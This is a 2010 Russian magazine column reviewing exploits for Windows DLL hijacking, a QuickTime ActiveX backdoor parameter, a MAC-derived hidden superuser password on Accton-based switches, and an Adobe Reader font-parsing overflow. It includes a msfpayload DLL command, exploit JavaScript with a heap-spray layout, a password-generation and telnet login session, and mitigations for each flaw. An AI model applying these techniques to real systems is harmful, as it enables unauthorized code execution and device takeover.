| Издательский дом ООО "Гейм Лэнд" | ЖУРНАЛ ХАКЕР #142, НОЯБРЬ 2010 г. |
Обзор эксплойтов
DLL Hijacking
TARGETS
- Windows XP
- WIndows 7
- Windows 2000/2003/2008
CVE
- N/A
BRIEF
Очередная уязвимость-фича от компании Microsoft. На этот раз «фича» позволяет выполнить произвольный код на удаленной системе. Началось все с того, что исследователь Саймон Рэйнер (Simon Raner) из компании Arcos отправил в Apple iTunes отчет об уязвимости, вернее, об особенности загрузки DLL-библиотек во время запуска приложения. Подробностей уязвимости они не сообщили, так как это «очень опасно», и возможна угроза появления червя. Суть угрозы – выполнение произвольного кода, в том числе и удаленно через расшареные ресурсы и WebDAV. Спустя несколько дней об этой угрозе говорил каждый, кто хоть как-то соприкасается с ИБ. Оказывается, дело не только в Apple iTunes, а еще и в особенностях подгрузки DLL, и уязвимо может быть любое приложение. Тут стоит отметить, что на дворе 2010 год, а люди с таким воодушевлением обсуждают уязвимость, которая была в паблике аж с 2000 года. Дело в том, что 10 лет назад знаменитый Георгий Гунински (Georgi Guninski) написал в багтрек заметку о том, что Windows имеет проблемы с очередностью выбора пути при поиске .DLL-файлов, и выложил эксплойт к Microsoft Office. Корпорация МелкоМягкхих почесала за ухом и изменила последовательность, но, к сожалению, это не сильно помогло, так как суть проблемы, в конечном счете, осталась нерешенной. В итоге программисты сами должны учитывать особенности ОС при загрузке библиотек (естественно, они этого не делают, так как знать такие мелочи не всегда возможно). Атаку можно выполнять, как я уже сказал, через интернет, причем такой функционал тут же вошел в состав Metasploit. О том, как это можно сделать, читай в рубрике у Алексея Тюрина в этом номере, мы же поговорим о том, как и почему это чудо работает.
EXPLOIT
На самом деле никаких секретов нет. Дело в «привязанности» программистов к короткой форме записи и в логике очередности поиска пути в системе Windows :). Итак, известно, что любое приложение любит грузить кучу модулей и библиотек. Чтобы программист мог удобно это делать, существует специальная API-функция – LoadLibrary (это в общем случае). Допустим, мы программисты и хотим написать программу, которая грузит DLL’ку; повинуясь логике, мы делаем такой вызов:
LoadLibrary("bzik.dll");
Мы привыкли, что DLL-файлы лежат в директории с приложением, либо в системной директории, поэтому путь не указывается. Но вот Windows не знает, где именно лежит эта библиотека, и начинает ее искать в следующих местах, отсортированных по очередности поиска:
- Директория, откуда приложение запущенно;
- Системная директория;
- Системная директория для 16-битных систем;
- Директория Windows;
- Текущая рабочая директория;
- Директории из переменной окружения PATH.
Теперь осталось понять, что текущая директория определяется только местом, откуда был вызвано приложение. Если файл, ассоциированный с нашим приложением (.TXT-файл ассоциирован с блокнотом, .TORRENT с uTorrent, .XLS с Excel’ем и т.д.) лежит в папке D:\zloba, то именно эта папка и станет текущей директорией для нас. Если папка лежит на расшареном ресурсе, то, соответственно, ресурс станет рабочей директорией. Вспомним, что шару можно туннелировать через HTTP с помощью WebDAV. При этом, если bzik.dll находится в одной из директорий переменной окружения PATH, получается, если дважды щелкнуть по ассоциированному файлу, откроется приложение, которое попытается сначала найти bzik.dll в системных директориях, потом в папке D:\zloba, и лишь потом успокоится и найдет его в директории из PATH. Но что будет, если рядом с ассоциированным файлом в D:\zloba положить файл bzik.dll? Тогда приложение на пятом шаге поиска найдет его и загрузит. Отсюда и проблема: можно положить ассоциированный файл, узнать имя DLL-библиотеки, которую он попытается подгрузить из текущей директории, и все – можно атаковать.
Разберем на примере uTorrent, популярного клиента P2P, ассоциированные файлы которого имеют расширение .TORRENT. Попробуем найти имя библиотек, которые будут разыскиваться в текущей директории. Для этого создадим на расшареном ресурсе пустой файл c расширением .TORRENT. После этого откроем утилиту мистера Руссиновича – ProcessExplorer, и настроим фильтры – нас интересует директория шары и процесс utorrent.exe. Теперь все файловые обращения этого процесса к нашей шаре мы увидим в окошке монитора. После настройки фильтра дважды щелкнем по созданному .TORRENT-файлу и посмотрим логи монитора. В итоге видно, что процесс utorrent.exe пытался найти на нашей шаре и подгрузить две библиотеки. Не будем огорчать торрент-клиент и подсунем в шару рядом с ярлыком .DLL-файл с тем именем, который ему необходим – plugin_dll.dll. В качестве примера наша версия plugin_dll.dll будет содержать нагрузку из метасплойта – запуск калькулятора. Чтобы создать библиотеку с такой нагрузкой, воспользуемся утилитой msfpayload из набора Metasploit:
$ msfpayload windows/exec CMD=calc D > plugin_dll.dll
Повторный запуск торрент-клиента через созданный .TORRENT-файл с удаленного ресурса вызовет запуск калькулятора – вуаля, произвольный код выполнен. Поиск уязвимых приложений автоматизирован, например, с помощью сборки от Rapid7 – https://www.metasploit.com/redmine/projects/framework/repository/raw/external/source/DLLHijackAuditKit.zip (эта утилита была рассмотрена в прошлом номере в разделе FAQ United). На данный момент существует список уязвимых продуктов, который регулярно обновляется – exploit-db.com/dll-hijacking-vulnerable-applications/.
Если ты хочешь более подробно разобраться с принципами работы поиска пути при загрузке DLL, различными API-функциями для контроля этого порядка, то об этом можно почитать у Таихо Квона (Taeho Kwon) и Джендонга Су (Zhendong Su) в документе cs.ucdavis.edu/research/tech-reports/2010/CSE-2010-2.pdf. Этот документ был опубликован почти год назад, но никто не уделил ему должного внимания, а ведь эти ребята тогда уже заметили, что уязвимость осталась, и ее содержат множество приложений.
SOLUTION
Сначала решения как бы не было, и разработчики ПО сами фиксили код приложения, но потом Microsoft все-таки перебороли себя и сделали фикс, который по факту позволяет:
- удалять текущий рабочий каталог из пути поиска библиотеки;
- запрещать приложению загружать библиотеку из папки WebDAV;
- запрещать приложению загружать библиотеку как из папки WebDAV, так и из расшареных ресурсов.
Что касается разработчиков, то можно обезопасить свое ПО, удалив текущую директорию из пути поиска:
SetDllDirectory(“”);
Разумеется, делать это необходимо до вызовов LoadLibrary.
Черный ход в Apple QuickTime
TARGETS
- Apple QuickTime < 7.6.8
CVE
- CVE-2010-1818
BRIEF
Тяжелая работа у программистов – писать свой код, разбираться в чужом коде, править его, дописывать, переписывать и т.д. В такой ситуации можно что-то забыть или не заметить. Поэтому велика вероятность, что в такой обстановке проявятся уязвимости. Похоже, что именно такая штука и произошла с программистами компании Apple, которые кодили небезызвестный проигрыватель QuickTime. Уязвимость долго пряталась в недрах плеера, пока в конце августа баг-хантер Рубэн Сантамарта (Ruben Santamarta) не нашел ее путем статического бинарного анализа ActiveX-компоненты QuickTime.
EXPLOIT
Первым делом Рубэн заметил, что в коде обработки параметров-свойств объекта есть код проверки наличия скрытого параметра «_Marshaled_pUnk». В документации к ActiveX этот параметр даже не упоминается:
push offset a_marshaled_pun ; "_Marshaled_pUnk"
push ebx ; Имя свойства
call ebp ; lstrcmpiA ; Сравним имя с "_Marshaled_pUnk"
test eax, eax ; Равны?
jnz short loc_10002C4A ; Если нет, то идем куда-то там
push edi ; Указатель на строку параметра
call sub_10001310 ; Перевод значения строки в LONG
add esp, 4
lea ecx, [esi+13B8h]
push ecx ; ppv
push offset iid ; iid
push eax ; Наш параметр (4 байта)
call ds:CoGetInterfaceAndReleaseStream ; Вызов функции, где дескриптор iStream мы контролируем (eax)!
Как видно, все просто – то, что заносится в параметр _Marshaled_pUnk, будет адресом дескриптора. Остальные параметры берутся из статичных мест, тем не менее Рубэн удивился, так как эти параметры вообще нигде больше не используются. Это странно, поэтому он скачал более древнюю версию QuickTime (6.5.1.17) и увидел, что там этот код вовсю используется для обрисовки в текущем окне, для того данный параметр и применялся, чтобы указатель был на текущее окно. Только вот программисты, когда удаляли старый код и функционал, забыли удалить параметр, который влиял на дескриптор. Теперь мы можем менять хэндл, указывая на любой участок памяти, осталось только по этому адресу сымитировать интерфейс iStream с поддельным указателем vTable. Другими словами, Рубэн предлагает использовать Heap Spray для того, чтобы внедрить ROP-программу по отключению DEP и выполнению произвольного кода. Перед ROP разместить поддельный указатель vTable:
Heap addr Value
15220c20 15220c18 // Подделываем указатель VTable -- СALL[15220c18+0x0C]
15220c24 ROP_ADDR // ROP-программа – первая инструкция делает из кучи стек
15220c28 ROP_ADDR // а дальше обычная ROP-программа
15220c2c ROP_ADDR
15220c30 ROP_ADDR
Теперь Heap Spray займет память по адресу 0x15220000, после чего выполняем атаку:
var targ = 0x15220c20;
var obj = '<' + 'object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0"' + '>'
+ '<' + 'PARAM name="_Marshaled_pUnk" value="' + targ + '"' + '/>'
+ '</'+ 'object>';
document.getElementById('xpl').innerHTML = obj;
Работающий эксплойт уже включен в сборку Metasploit, так что можешь проверить свой QuickTime на наличие уязвимости :). Хочу только отметить, что тамошняя версия работает под версию 7.6.7 на Windows XP SP3. Под семеркой мешает ASLR, так как все модули плеера поддерживают данную штуку. Тем не менее, можно самостоятельно переписать ROP-программу, используя другие сторонние модули в памяти процесса без поддержки ASLR.
SOLUTION
Решение банально до безобразия – установи последнюю версию QuickTime (на данный момент это 7.6.8).
Черные ходы в активных сетевых устройствах
TARGETS
- 3Com 3812
- 3Com 3870
- Edgecore ES4649
- Dell PowerConnect 5224
- Возможны и другие
CVE
- N/A
BRIEF
Развивая тему черных ходов, нельзя не упомянуть про интересное исследование, сделанное год назад на конференции HAR2009, где исследователи Эдвин Ифтинг (Edwin Eefting), Эрик Смит (Erik Smit) и Эрвин Дрэнт (Erwin Drent) опубликовали информацию о том, что многие устройства типа «Свитч», основанные на Accton, имеют скрытый пароль от суперпользователя. Однако за год ничего не произошло – ни патчей, ни обновлений баз сканеров безопасностей, то есть вроде инфа была, а те, кто отвечает за безопасность, даже не шелохнулись. Поэтому товарищи повторно описали ситуацию, добавили в список новые устройства, выложили эксплойт и надеются, что проблема получит решение. Так, собственно, о чем же целый год до нас пытались донести эти исследователи?
EXPLOIT
Дело было вот как: Эрик хотел тупо поставить Linux на свой свитч, и в процессе отладки фирмвари он обнаружил какую-то подозрительную строку: «__super». Строка как-то связана с системой аутентификации, но дальше разбираться было затруднительно, поэтому Эрик позвонил в техподдержку. После небольшого разговора стало понятно, что это нужно в случае, если пользователь забудет пароль от сетевого устройства – по звонку в техподдержку можно получить уникальный пароль, чтобы пользователи смогли войти в систему без сброса конфигурации, но пароль на каждом свитче разный. Поэтому когда Эрик сказал, что он вроде забыл пароль, техподдержка попросила назвать MAC-адрес устройства. Этой информации уже было достаточно, чтобы исследователь сообразил, что пароль генерируется на базе MAC’а, и, в принципе, можно написать генератор паролей... Сказано – сделано. Конечно, было все не так-то просто, тем не менее ребята достали прошивку, разреверсили ее и вытащили алгоритм генерации. Результатом этой трудоемкой работы стал эксплойт-генератор паролей, единственный параметр которого – MAC-адрес. Таким образом, достаточно получить этот адрес, например, с помощью ARP-протокола, или, если устройство в другом сегменте сети, по SNMP-протоколу. После этого генератор выдаст пароль, который подходит как к SSH, так и к telnet- и HTTP-интерфейсам. Имя пользователя – «__super». Пример работы эксплойта:
1. Сначала получаем MAC свитча:
# arp -an | grep 10.0.1.2
? (10.0.1.2) at 00:0E:6A:CB:B4:41 [ether] on eth0
2. Получаем пароль суперпользователя:
# perl accton.pl 000E6ACBB441
!!98DMlH
3. Входим в систему:
# telnet 10.0.1.2
Trying 10.0.1.2...
Connected to 10.0.1.2.
Escape character is '^]'.
Login: __super
Password: !!98DMlH
Menu options: -------3Com SuperStack 3 Switch 3824 24-port---------------------
bridge - Administer bridge-wide parameters
feature - Administer system features
gettingStarted - Basic device configuration
logout - Logout of the Command Line Interface
physicalInterface - Administer physical interfaces
protocol - Administer protocols
security - Administer security
system - Administer system-level functions
trafficManagement - Administer traffic management
Сам по себе генератор – это просто последовательность математических операций с магическим числом и байтами MAC-адреса. Генератор есть на диске, можешь разбираться :).
SOLUTION
Разработчик предлагает ограничивать пользовательский доступ к административному интерфейсу по IP-адресу:
Console#config
Console(config)#management ?
all-client Adds IP addresses to SNMP, Web and Telnet groups
http-client Adds IP addresses to the Web group
snmp-client Adds IP addresses to the SNMP group
telnet-client Adds IP addresses to the Telnet group
Console(config)#management all-client ?
A.B.C.D Starts IP address
Console(config)#management all-client 192.168.1.1 ?
A.B.C.D Ends IP address
Console(config)#management all-client 192.168.1.1 192.168.1.10
Кроме того разработчик сообщил, что он не дремлет, и еще год назад убрал возможность аутентификации по этому паролю удаленно. Все-таки это приятно. Тем не менее, сделал он это втихую, и теперь непонятно, какая прошивка имеет уязвимость, а какая – нет. Все-таки Full-Disclosure бывает полезен :).
Выполнение произвольного кода в Adobe Acrobat Reader
TARGETS
- Adobe Acrobat Reader <= 9.3.4
CVE
- CVE-2010-2883
BRIEF
Самый частый гость нашего обзора – Acrobat Reader, вот и в этом месяце он заглянул на страницы нашего журнала с очередной уязвимостью нулевого дня. Неизвестные злоумышленники опять воспользовались ошибкой в этом чудесном продукте для распространения заразы среди благочестивых пользователей сети. Но в этот раз эксплойт оказался еще лучше, нежели во все предыдущие – в этот раз он обходил не только DEP, но и ASLR. Достигнуто это было за счет ROP в модулях, которые не поддерживали ASLR. То есть по-нашему это уже баян, но в данном случае это первое проявление такого эксплойта в дикой природе. Добавим ко всему тот факт, что PDF-файл с заразой имел валидный сертификат – и получается уже довольно действенная угроза. Теперь побаловаться им можем и мы.
EXPLOIT
Начнем с разбора уязвимости. Ошибка заключается, как это ни банально, в переполнении буфера в стеке. Проблема начинается, когда Acrobat Reader пытается пропарсить SIGN-таблицу шрифтов TrueType. Дело в том, что в этой таблице есть поле uniqueName, которое содержит строку. Эту строку программа обрабатывает, конкатенируя ее к выделенной в стеке памяти с помощью strcat. При этом размер выделенной памяти статичен. Это означает, что если запихнуть в поле uniqueName очень большую строку, то произойдет переполнение буфера в стек со всеми вытекающими последствиями. А последствия были таковы: адрес возврата и часть стека за адресом перезаписаны небольшой ROP-программой, которая меняла адрес вершины стека на 0x0C0C0C0C. По этому адресу с помощью Heap Spray заранее размещалась вторая часть ROP. Сделано это потому, что вторая часть программы содержит в себе нулевые байты, и внедрять их в стек при переполнении нельзя. Интересен также и метод обхода DEP. Мы привыкли, что для обхода этой защитной методики обычно используются такие API-функции, как VirtualProtect/VirtualAlloc или WriteProcessMemory, но тут злоумышленники проявили оригинальность. Сначала они создали пустой файл с именем «iso88591» в текущей директории, вызвав API-функцию CreateFileA. После этого ROP-программа создает объект для отображения файла с помощью CreateFileMappingA, после чего вызов MapViewOfFile выделяет память для отображения. Эта функция как раз и помогает с обходом DEP.
LPVOID MapViewOfFile(
HANDLE hFileMappingObject, // дескр. объекта проецируемый файл (хэндл, полученный CreateFileMappingA)
DWORD dwDesiredAccess, // режим доступа ( 0x22 - FILE_MAP_EXECUTE | FILE_MAP_WRITE)
DWORD dwFileOffsetHigh, // старшее DWORD смещения - 0
DWORD dwFileOffsetLow, // младшее DWORD смещения - 0
SIZE_T dwNumberOfBytesToMap // размер - 0x1000
);
Второй параметр задает права на память, и злоумышленники логично предположили, что память должна быть исполняема. Следующие действия – копирование из кучи шеллкода в память (поможет memcpy). Логично, что шеллкод в свежевыделенной памяти можно исполнять. ROP помогает не только с DEP, но и с ASLR, так как весь код для ROP-программы заимствован из библиотеки «icucnv34.dll», которая скомпилирована без поддержки ASLR, а значит, этот эксплойт работает даже в Windows 7. Опробовать эксплойт может любой желающий, ибо он включен в состав Metasploit – вперед!
SOLUTION
Последняя версия Adobe Acrobat Reader с исправленной уязвимостью уже вышла.
Еще кое-что...
Компания Abysssec объявила сентябрь месяцем 0-day’ев. Другими словами, каждый день сентября нас ожидало очередное описание новых и не очень уязвимостей, анализ бинарного кода, патчей и даже PoС. Были описаны проблемы в продуктах Micrososft, Mozilla, Sun, Novell, HP и т.д. Свои релизы они выкладывали на сайте exploit-db.com, так что если ты еще не успел заценить их публикации, советую просмотреть их. Полный список работ найдешь здесь – abysssec.com/blog/2010/09/moaub-1.